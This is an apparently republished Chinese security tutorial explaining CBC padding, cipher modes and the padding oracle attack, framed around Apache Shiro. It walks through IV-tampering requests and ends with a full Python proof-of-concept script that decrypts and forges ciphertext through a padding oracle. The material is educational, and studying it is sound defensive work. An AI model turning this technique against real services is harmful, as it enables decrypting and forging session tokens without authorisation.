本文由安全客首发,文章链接: https://www.anquanke.com/post/id/203869
安全客 - 有思想的安全新媒体
一、简介
Shiro,Apache Shiro是一个强大且易用的Java安全框架,执行身份验证、授权、密码和会话管理。使用Shiro的易于理解的API,您可以快速、轻松地获得任何应用程序,从最小的移动应用程序到最大的网络和企业应用程序。
Padding填充规则,我们的输入数据长度是不规则的,因此必然需要进行“填充”才能形成完整的“块”。简单地说,便是根据最后一个数据块所缺少的长度来选择填充的内容。例如,数据块长度要求是8字节,如果输入的最后一个数据块只有5个字节的数据,那么则在最后补充三个字节的0x3。如果输入的最后一个数据块正好为8字节长,则在最后补充一个完整的长为8字节的数据块,每个字节填0x8。如图-1所示,使用这个规则,我们便可以根据填充的内容来得知填充的长度,以便在解密后去除填充的字节。
Padding Oracle Attack,这种攻击利用了服务器在 CBC(密码块链接模式)加密模式中的填充测试漏洞。如果输入的密文不合法,类库则会抛出异常,这便是一种提示。攻击者可以不断地提供密文,让解密程序给出提示,不断修正,最终得到的所需要的结果。其中"Oracle"一词指的是“提示”,与甲骨文公司并无关联。加密时可以使用多种填充规则,但最常见的填充方式之一是在PKCS#5标准中定义的规则。PCKS#5的填充方式为:明文的最后一个数据块包含N个字节的填充数据(N取决于明文最后一块的数据长度)。下图是一些示例,展示了不同长度的单词(FIG、BANANA、AVOCADO、PLANTAIN、PASSIONFRUIT)以及它们使用PKCS#5填充后的结果(每个数据块为8字节长)。
图-1
二、加密方式拓普
加密方式通常分为两大类:对称加密和非对称加密
对称加密又称单密钥加密,也就是字面意思,加密解密用的都是同一个密钥,常见的对称加密算法,例如DES、3DES、Blowfish、IDEA、RC4、RC5、RC6 和 AES。
非对称加密,就是说密钥分两个,一个公钥,一个私钥,加解密过程就是公钥加密私钥解密和私钥加密公钥匙解密,常见的非对称加密算法有,RSA、ECC(移动设备用)、Diffie-Hellman、El Gamal、DSA(数字签名用)等。
对称加密算法中一般分为两种加密模式:分组加密和序列密码
分组密码,也叫块加密(block cyphers),一次加密明文中的一个块。是将明文按一定的位长分组,明文组经过加密运算得到密文组,密文组经过解密运算(加密运算的逆运算),还原成明文组。
序列密码,也叫流加密(stream cyphers),一次加密明文中的一个位。是指利用少量的密钥(制乱元素)通过某种复杂的运算(密码算法)产生大量的伪随机位流,用于对明文位流的加密。
这里举例介绍对称加密算法的AES分组加密的五种工作体制:
- 电码本模式(Electronic Codebook Book (ECB))
- 密码分组链接模式(Cipher Block Chaining (CBC))
- 计算器模式(Counter (CTR))
- 密码反馈模式(Cipher FeedBack (CFB))
- 输出反馈模式(Output FeedBack (OFB))
【一】、ECB-电码本模式
这种模式是将明文分为若干块等长的小段,然后对每一小段进行加密解密
【二】、CBC-密码分组链接模式
跟ECB一样,先将明文分为等长的小段,但是此时会获取一个随机的 “初始向量(IV)” 参与算法。正是因为IV的参入,由得相同的明文在每一次CBC加密得到的密文不同。
再看看图中的加密原理,很像是数据结构中的链式结构,第一个明文块会和IV进行异或运算,然后和密匙一起传入加密器得到密文块。并将该密文块与下一个明文块异或,以此类推。
【三】、CTR-计算器模式
计算器模式不常见,在CTR模式中, 有一个自增的算子,这个算子用密钥(K)加密之后的输出和明文(P)异或的结果得到密文(C),相当于一次一密。这种加密方式简单快速,安全可靠,而且可以并行加密,但是在计算器不能维持很长的情况下,密钥只能使用一次。
【四】、CFB-密码反馈模式
直接看图吧
【五】、OFB-输出反馈模式
看图
从上述所述的几种工作机制中,都无一例外的将明文分成了等长的小段。所以当块不满足等长的时候,就会用Padding的方式来填充目标。
三、Padding Oracle攻击原理讲解
当应用程序接受到加密后的值以后,它将返回三种情况:
- 接受到正确的密文之后(填充正确且包含合法的值),应用程序正常返回(200 - OK)。
- 接受到非法的密文之后(解密后发现填充不正确),应用程序抛出一个解密异常(500 - Internal Server Error)。
- 接受到合法的密文(填充正确)但解密后得到一个非法的值,应用程序显示自定义错误消息(200 - OK)。
这里从freebuf借来一张图,上图简单的概述了''TEST"的解密过程,首先输入密码经过加解密算法可以得到一个中间结果 ,我们称之为中间值,中间值将会和初始向量IV进行异或运算后得到明文
那么攻击所需条件大致如下
- 拥有密文,这里的密文是“F851D6CC68FC9537”
- 知道初始向量IV
- 能够了解实时反馈,如服务器的200、500等信息。
密文和IV其实可以通过url中的参数得到,例如有如下
http://sampleapp/home.jsp?UID=6D367076036E2239F851D6CC68FC9537
上述参数中的“6D367076036E2239F851D6CC68FC9537”拆分来看就是 IV和密文的组合,所以可以得到IV是“6D367076036E2239”
再来看看CBC的解密过程
已经有IV、密文,只有Key和明文未知。再加上Padding机制。可以尝试在IV全部为0的情况下会发生什么
Request: http://sampleapp/home.jsp?UID=0000000000000000F851D6CC68FC9537 Response: 500 - Internal Server Error
得到一个500异常,这是因为填充的值和填充的数量不一致
倘如发送如下数据信息的时候:
Request: http://sampleapp/home.jsp?UID=000000000000003CF851D6CC68FC9537 Response: 200 OK
最后的字节位上为0x01,正好满足Padding机制的要求。
在这个情况下,我们便可以推断出中间值(Intermediary Value)的最后一个字节,因为我们知道它和0x3C异或后的结果为0x01,于是:
因为 [Intermediary Byte] ^ 0x3C == 0x01, 得到 [Intermediary Byte] == 0x3C ^ 0x01, 所以 [Intermediary Byte] == 0x3D
以此类推,可以解密出所有的中间值
而此时块中的值已经全部填充为0x08了,IV的值也为“317B2B2A0F622E35”
此时再将原本的IV与已经推测出的中间值进行异或就可以得到明文了
当分块在一块之上时,如“ENCRYPT TEST”,攻击机制又是如何运作的呢?
其实原理还是一样,在CBC解密时,先将密文的第一个块进行块解密,然后将结果与IV异或,就能得到明文,同时,本次解密的输入密文作为下一个块解密的IV。
不难看出,下一段明文的内容是受到上一段密文的影响的,这里附上道哥写的一个demo
1 """ 2 Padding Oracle Attack POC(CBC-MODE) 3 Author: axis(axis@ph4nt0m.org) 4 http://hi.baidu.com/aullik5 5 2011.9 6 7 This program is based on Juliano Rizzo and Thai Duong's talk on 8 Practical Padding Oracle Attack.(http://netifera.com/research/) 9 10 For Education Purpose Only!!! 11 12 This program is free software: you can redistribute it and/or modify 13 it under the terms of the GNU General Public License as published by 14 the Free Software Foundation, either version 3 of the License, or 15 (at your option) any later version. 16 17 This program is distributed in the hope that it will be useful, 18 but WITHOUT ANY WARRANTY; without even the implied warranty of 19 MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 20 GNU General Public License for more details. 21 22 You should have received a copy of the GNU General Public License 23 along with this program. If not, see <http://www.gnu.org/licenses/>. 24 """ 25 26 import sys 27 28 # https://www.dlitz.net/software/pycrypto/ 29 from Crypto.Cipher import * 30 import binascii 31 32 # the key for encrypt/decrypt 33 # we demo the poc here, so we need the key 34 # in real attack, you can trigger encrypt/decrypt in a complete blackbox env 35 ENCKEY = 'abcdefgh' 36 37 def main(args): 38 print 39 print "=== Padding Oracle Attack POC(CBC-MODE) ===" 40 print "=== by axis ===" 41 print "=== axis@ph4nt0m.org ===" 42 print "=== 2011.9 ===" 43 print 44 45 ######################################## 46 # you may config this part by yourself 47 iv = '12345678' 48 plain = 'aaaaaaaaaaaaaaaaX' 49 plain_want = "opaas" 50 51 # you can choose cipher: blowfish/AES/DES/DES3/CAST/ARC2 52 cipher = "blowfish" 53 ######################################## 54 55 block_size = 8 56 if cipher.lower() == "aes": 57 block_size = 16 58 59 if len(iv) != block_size: 60 print "[-] IV must be "+str(block_size)+" bytes long(the same as block_size)!" 61 return False 62 63 print "=== Generate Target Ciphertext ===" 64 65 ciphertext = encrypt(plain, iv, cipher) 66 if not ciphertext: 67 print "[-] Encrypt Error!" 68 return False 69 70 print "[+] plaintext is: "+plain 71 print "[+] iv is: "+hex_s(iv) 72 print "[+] ciphertext is: "+ hex_s(ciphertext) 73 print 74 75 print "=== Start Padding Oracle Decrypt ===" 76 print 77 print "[+] Choosing Cipher: "+cipher.upper() 78 79 guess = padding_oracle_decrypt(cipher, ciphertext, iv, block_size) 80 81 if guess: 82 print "[+] Guess intermediary value is: "+hex_s(guess["intermediary"]) 83 print "[+] plaintext = intermediary_value XOR original_IV" 84 print "[+] Guess plaintext is: "+guess["plaintext"] 85 print 86 87 if plain_want: 88 print "=== Start Padding Oracle Encrypt ===" 89 print "[+] plaintext want to encrypt is: "+plain_want 90 print "[+] Choosing Cipher: "+cipher.upper() 91 92 en = padding_oracle_encrypt(cipher, ciphertext, plain_want, iv, block_size) 93 94 if en: 95 print "[+] Encrypt Success!" 96 print "[+] The ciphertext you want is: "+hex_s(en[block_size:]) 97 print "[+] IV is: "+hex_s(en[:block_size]) 98 print 99 100 print "=== Let's verify the custom encrypt result ===" 101 print "[+] Decrypt of ciphertext '"+ hex_s(en[block_size:]) +"' is:" 102 de = decrypt(en[block_size:], en[:block_size], cipher) 103 if de == add_PKCS5_padding(plain_want, block_size): 104 print de 105 print "[+] Bingo!" 106 else: 107 print "[-] It seems something wrong happened!" 108 return False 109 110 return True 111 else: 112 return False 113 114 115 def padding_oracle_encrypt(cipher, ciphertext, plaintext, iv, block_size=8): 116 # the last block 117 guess_cipher = ciphertext[0-block_size:] 118 119 plaintext = add_PKCS5_padding(plaintext, block_size) 120 print "[*] After padding, plaintext becomes to: "+hex_s(plaintext) 121 print 122 123 block = len(plaintext) 124 iv_nouse = iv # no use here, in fact we only need intermediary 125 prev_cipher = ciphertext[0-block_size:] # init with the last cipher block 126 while block > 0: 127 # we need the intermediary value 128 tmp = padding_oracle_decrypt_block(cipher, prev_cipher, iv_nouse, block_size, debug=False) 129 130 # calculate the iv, the iv is the ciphertext of the previous block 131 prev_cipher = xor_str( plaintext[block-block_size:block], tmp["intermediary"] ) 132 133 #save result 134 guess_cipher = prev_cipher + guess_cipher 135 136 block = block - block_size 137 138 return guess_cipher 139 140 141 def padding_oracle_decrypt(cipher, ciphertext, iv, block_size=8, debug=True): 142 # split cipher into blocks; we will manipulate ciphertext block by block 143 cipher_block = split_cipher_block(ciphertext, block_size) 144 145 if cipher_block: 146 result = {} 147 result["intermediary"] = '' 148 result["plaintext"] = '' 149 150 counter = 0 151 for c in cipher_block: 152 if debug: 153 print "[*] Now try to decrypt block "+str(counter) 154 print "[*] Block "+str(counter)+"'s ciphertext is: "+hex_s(c) 155 print 156 # padding oracle to each block 157 guess = padding_oracle_decrypt_block(cipher, c, iv, block_size, debug) 158 159 if guess: 160 iv = c 161 result["intermediary"] += guess["intermediary"] 162 result["plaintext"] += guess["plaintext"] 163 if debug: 164 print 165 print "[+] Block "+str(counter)+" decrypt!" 166 print "[+] intermediary value is: "+hex_s(guess["intermediary"]) 167 print "[+] The plaintext of block "+str(counter)+" is: "+guess["plaintext"] 168 print 169 counter = counter+1 170 else: 171 print "[-] padding oracle decrypt error!" 172 return False 173 174 return result 175 else: 176 print "[-] ciphertext's block_size is incorrect!" 177 return False 178 179 def padding_oracle_decrypt_block(cipher, ciphertext, iv, block_size=8, debug=True): 180 result = {} 181 plain = '' 182 intermediary = [] # list to save intermediary 183 iv_p = [] # list to save the iv we found 184 185 for i in range(1, block_size+1): 186 iv_try = [] 187 iv_p = change_iv(iv_p, intermediary, i) 188 189 # construct iv 190 # iv = \x00...(several 0 bytes) + \x0e(the bruteforce byte) + \xdc...(the iv bytes we found) 191 for k in range(0, block_size-i): 192 iv_try.append("\x00") 193 194 # bruteforce iv byte for padding oracle 195 # 1 bytes to bruteforce, then append the rest bytes 196 iv_try.append("\x00") 197 198 for b in range(0,256): 199 iv_tmp = iv_try 200 iv_tmp[len(iv_tmp)-1] = chr(b) 201 202 iv_tmp_s = ''.join("%s" % ch for ch in iv_tmp) 203 204 # append the result of iv, we've just calculate it, saved in iv_p 205 for p in range(0,len(iv_p)): 206 iv_tmp_s += iv_p[len(iv_p)-1-p] 207 208 # in real attack, you have to replace this part to trigger the decrypt program 209 #print hex_s(iv_tmp_s) # for debug 210 plain = decrypt(ciphertext, iv_tmp_s, cipher) 211 #print hex_s(plain) # for debug 212 213 # got it! 214 # in real attack, you have to replace this part to the padding error judgement 215 if check_PKCS5_padding(plain, i): 216 if debug: 217 print "[*] Try IV: "+hex_s(iv_tmp_s) 218 print "[*] Found padding oracle: " + hex_s(plain) 219 iv_p.append(chr(b)) 220 intermediary.append(chr(b ^ i)) 221 222 break 223 224 plain = '' 225 for ch in range(0, len(intermediary)): 226 plain += chr( ord(intermediary[len(intermediary)-1-ch]) ^ ord(iv[ch]) ) 227 228 result["plaintext"] = plain 229 result["intermediary"] = ''.join("%s" % ch for ch in intermediary)[::-1] 230 return result 231 232 # save the iv bytes found by padding oracle into a list 233 def change_iv(iv_p, intermediary, p): 234 for i in range(0, len(iv_p)): 235 iv_p[i] = chr( ord(intermediary[i]) ^ p) 236 return iv_p 237 238 def split_cipher_block(ciphertext, block_size=8): 239 if len(ciphertext) % block_size != 0: 240 return False 241 242 result = [] 243 length = 0 244 while length < len(ciphertext): 245 result.append(ciphertext[length:length+block_size]) 246 length += block_size 247 248 return result 249 250 251 def check_PKCS5_padding(plain, p): 252 if len(plain) % 8 != 0: 253 return False 254 255 # convert the string 256 plain = plain[::-1] 257 ch = 0 258 found = 0 259 while ch < p: 260 if plain[ch] == chr(p): 261 found += 1 262 ch += 1 263 264 if found == p: 265 return True 266 else: 267 return False 268 269 def add_PKCS5_padding(plaintext, block_size): 270 s = '' 271 if len(plaintext) % block_size == 0: 272 return plaintext 273 274 if len(plaintext) < block_size: 275 padding = block_size - len(plaintext) 276 else: 277 padding = block_size - (len(plaintext) % block_size) 278 279 for i in range(0, padding): 280 plaintext += chr(padding) 281 282 return plaintext 283 284 def decrypt(ciphertext, iv, cipher): 285 # we only need the padding error itself, not the key 286 # you may gain padding error info in other ways 287 # in real attack, you may trigger decrypt program 288 # a complete blackbox environment 289 key = ENCKEY 290 291 if cipher.lower() == "des": 292 o = DES.new(key, DES.MODE_CBC,iv) 293 elif cipher.lower() == "aes": 294 o = AES.new(key, AES.MODE_CBC,iv) 295 elif cipher.lower() == "des3": 296 o = DES3.new(key, DES3.MODE_CBC,iv) 297 elif cipher.lower() == "blowfish": 298 o = Blowfish.new(key, Blowfish.MODE_CBC,iv) 299 elif cipher.lower() == "cast": 300 o = CAST.new(key, CAST.MODE_CBC,iv) 301 elif cipher.lower() == "arc2": 302 o = ARC2.new(key, ARC2.MODE_CBC,iv) 303 else: 304 return False 305 306 if len(iv) % 8 != 0: 307 return False 308 309 if len(ciphertext) % 8 != 0: 310 return False 311 312 return o.decrypt(ciphertext) 313 314 315 def encrypt(plaintext, iv, cipher): 316 key = ENCKEY 317 318 if cipher.lower() == "des": 319 if len(key) != 8: 320 print "[-] DES key must be 8 bytes long!" 321 return False 322 o = DES.new(key, DES.MODE_CBC,iv) 323 elif cipher.lower() == "aes": 324 if len(key) != 16 and len(key) != 24 and len(key) != 32: 325 print "[-] AES key must be 16/24/32 bytes long!" 326 return False 327 o = AES.new(key, AES.MODE_CBC,iv) 328 elif cipher.lower() == "des3": 329 if len(key) != 16: 330 print "[-] Triple DES key must be 16 bytes long!" 331 return False 332 o = DES3.new(key, DES3.MODE_CBC,iv) 333 elif cipher.lower() == "blowfish": 334 o = Blowfish.new(key, Blowfish.MODE_CBC,iv) 335 elif cipher.lower() == "cast": 336 o = CAST.new(key, CAST.MODE_CBC,iv) 337 elif cipher.lower() == "arc2": 338 o = ARC2.new(key, ARC2.MODE_CBC,iv) 339 else: 340 return False 341 342 plaintext = add_PKCS5_padding(plaintext, len(iv)) 343 344 return o.encrypt(plaintext) 345 346 def xor_str(a,b): 347 if len(a) != len(b): 348 return False 349 350 c = '' 351 for i in range(0, len(a)): 352 c += chr( ord(a[i]) ^ ord(b[i]) ) 353 354 return c 355 356 def hex_s(str): 357 re = '' 358 for i in range(0,len(str)): 359 re += "\\x"+binascii.b2a_hex(str[i]) 360 return re 361 362 if __name__ == "__main__": 363 main(sys.argv)